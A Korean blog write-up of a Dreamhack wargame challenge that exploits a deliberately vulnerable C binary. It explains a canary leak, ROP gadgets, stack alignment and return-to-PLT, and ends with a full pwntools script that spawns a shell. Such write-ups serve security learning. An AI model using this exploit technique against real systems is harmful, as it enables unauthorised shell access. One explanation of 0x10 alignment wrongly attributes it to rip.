문제 : https://dreamhack.io/wargame/challenges/353
Environment
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
- NX enabled : stack, heap 등에 실행 권한이 없음
- ASLR 적용됨
- PIE 없음
Code Analysis
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
코드를 확인해보면, 2번의 입력을 받는데 buf 크기는 0x30이고 두번 모두 입력을 0x100 받기 때문에 두 번 모두 오버플로우가 발생한다.
첫번째에는 canary를 leak하고, 두번째에는 return address를 overwrite하여 쉘을 얻을 수 있을 것으로 보인다
그 외의 코드를 살펴보겠다
const char* binsh = "/bin/sh";
"/bin/sh"를 코드 섹션에 추가하기 위해 작성된 코드이다.
PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되기 때문에 "/bin/sh"의 주소는 고정되어 있다.
system("echo 'system@plt'");
PLT에 system을 추가하기 위한 코드이다.
PLT에는 함수의 주소가 resolve되지 않았을 때, 함수의 주솔 구하고 실행하는 코드가 있는데, 해당 코드로 PLT에 라이브러리 함수를 등록해주면, PLT 엔트리를 실행함으로써 함수를 실행시킬 수 있다
PIE가 적용되어 있지 않으면 PLT의 주소도 코드 세그먼트, 데이터 세그먼트와 같이 주소가 고정되기 때문에 라이브러리의 베이스 주소를 몰라도 라이브러리 함수를 실행할 수 있다.
Exploit Idea
- 카나리 우회
- rdi의 값을 "/bin/sh"의 주소로 설정 한 후 쉘 획득 > 해당 과정을 ROP로 익스하기
* 리턴 가젯을 활용하여 system("/bin/sh")를 실행하기
Return gadget
ret 명령어로 끝나는 어셈블리 코드 조각을 의미함
$ ROPgadget --binary rtl
Gadgets information
============================================================
...
0x0000000000400285 : ret
...
Unique gadgets found: 83
$
해당 문제는 한번에 쉘을 획득할 수 없기에 반복되는 ret을 사용하여 내가 원하는 값으로 채운 후 익스해야한다.
rdi : "/bin/sh"로 설정하고, system 함수를 호출해야함
리턴 가젯을 이용하여 반환 주소와 이후의 버퍼를 사용하여 system 함수를 호출할 수 있다.
Stack Frame
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
0x00000000004006fb <+4>: sub rsp,0x40
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
초기 스택 프레임을 생성할 때, rsp -0x40을 하므로, SFP에서 0x40떨어진 곳 만큼의 스택을 사용한다는 것을 알 수 있다.
또한, 그 이후 canary를 SFP 바로 위에 0x8만큼 생성해준다.
0x0000000000400772 <+123>: lea rax,[rbp-0x40]
0x0000000000400776 <+127>: mov edx,0x100
0x000000000040077b <+132>: mov rsi,rax
0x000000000040077e <+135>: mov edi,0x0
0x0000000000400783 <+140>: call 0x4005f0 <read@plt>
또한, read를 rbp-0x40(SFP - 0x40) 부분에서 100바이트 읽어온다는 것을 확인할 수 있다.
Exploit Scenario
카나리 우회
첫 번째 입력에서 0x39바이트의 입력을 주면, Canary leak이 가능하다
쉘 획득
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
해당 과정에 대해 자세히 설명해보겠다
함수는 에필로그 과정에서 leave; ret;을 실행하게 된다
leave 연산으로 rbp의 값은 SFP에 적혀져있는 값이 되고, rsp의 값은 ret address를 가리킨다.
ret연산을 하게 되면 ret address에 적힌 값을 rip로 pop한다. 즉, rip가 ret address의 주소를 가리키게 된다.
ret 연산은 jmp rip와 함께 pop한다.
현재 아이디어를 통해 보면 return address에는 pop rdi; ret;의 가젯의 주소가 들어가 있게 된다. 즉, rip가 그 가젯 주소를 가리키고 있다.
pop은 rsp+8을 하는 역할을 한다. 따라서 현재 rsp는 ret에 존재하고, ret+0x8인 "/bin/sh"에 가게 되므로, rsp가 "/bin/sh"를 가리키고 있게 된다.
rip가 적힌 곳의 코드가 실행되므로 pop rdi; 연산이 수행된다.
rsp가 가리키는 곳에는 "/bin/sh" 문자열의 주소가 있으므로 rdi에 '/bin/sh"를 넣는다
pop 연산을 하면 아까와 같이, rsp+0x8이므로, return address + 0x10을 한 곳에 있는 값인 system_plt의 주소가 적힌 곳을 rsp가 가리킨다.
그 후 ret; 연산을 수행한다.
ret 연산을 하게 되면 rsp가 가리키는 곳의 값이 rip에 들어가게 된다. 즉, system_plt의 주소가 rip에 들어가게 된다.
따라서 이후에 system_plt가 실행이 되고, 첫번째 인자에 해당하는 rdi에 "/bin/sh"가 있으므로 system("/bin/sh")를 실행한다
해당 과정을 통해 익스플로잇 할 수 있다.
pop rdi; ret 가젯 찾기
ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret
PIE가 없으므로, 가젯의 위치는 고정이다.
"/bin/sh"의 주소 찾기
search /bin/sh
Searching for value: '/bin/sh'
rtl 0x400874 0x68732f6e69622f /* '/bin/sh' */
rtl 0x600874 0x68732f6e69622f /* '/bin/sh' */
libc.so.6 0x7ffff7f5c678 0x68732f6e69622f /* '/bin/sh' */
system 함수의 PLT 주소 찾기
pwndbg> plt
Section .plt 0x4005a0-0x400610:
0x4005b0: puts@plt
0x4005c0: __stack_chk_fail@plt
0x4005d0: system@plt
0x4005e0: printf@plt
0x4005f0: read@plt
0x400600: setvbuf@plt
pwndbg> info func @plt
All functions matching regular expression "@plt":
Non-debugging symbols:
0x00000000004005b0 puts@plt
0x00000000004005c0 __stack_chk_fail@plt
0x00000000004005d0 system@plt
0x00000000004005e0 printf@plt
0x00000000004005f0 read@plt
0x0000000000400600 setvbuf@plt
해당 명령어로 pwndbg에서 찾을 수 있다.
system_plt는 그 외에 pwntools를 활용해서도 찾을 수 있다.
[ 주의할 점 ]
rip가 이동할 때는 항상 0x10단위(rip)로 이동해야한다.
따라서, 0x8단위로 이동한다면 segmentation fault를 발생시킬 수 있다.
만약 익스를 작성할 때 이러한 오류가 발생한다면 system 함수의 가젯을 8바이트 뒤로 밀어야한다.
즉, 아무 의미 없는 가젯을 system 함수 전에 추가 해야한다.
Exploit
from pwn import *
p = remote("host3.dreamhack.games", 8613)
e = ELF('./rtl')
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00'+p.recvn(7))
system_plt = e.plt['system'] #0x00000000004005d0
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8 #buf, cnry, SFP
payload += p64(ret) #align stack (0x10)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter(b'Buf: ', payload)
p.interactive()
[ 왜 ret을 넣을까? ]
rip의 움직임은 0x10의 단위여야하는데, 현재 0x8로 이미 덮어버렸다
즉, 0x8을 "어떠한 가젯"으로 덮어줘야하는데, 이 가젯이 하필 ret 이여야한다.
그 이유는, ret라는 것은 pop rip, jmp rip가 동시에 실행되는 명령어이다.
만약, 현재 return address에 ret 가젯이 있다면, rsp를 pop_rdi로 옮겨주면서, rip를 ret에 "그대로" 두는 효과를 낸다
즉, 코드의 전체적인 흐름으로 볼 때 아무런 역할도 하지 않으면서 그저 0x8만큼의 빈 자리를 채워주는 역할을 한다.
'Hacking > Wargame' 카테고리의 다른 글
[Pwnable] Return to Shellcode (4) | 2024.08.24 |
---|---|
[Reversing] patch (0) | 2024.08.09 |
[Cryptography] Textbook-CBC (4) | 2024.08.03 |
[Reversing] Reversing Basic Challenge #1 (0) | 2024.07.28 |
[Reversing] Reversing Basic Challenge #0 (2) | 2024.07.28 |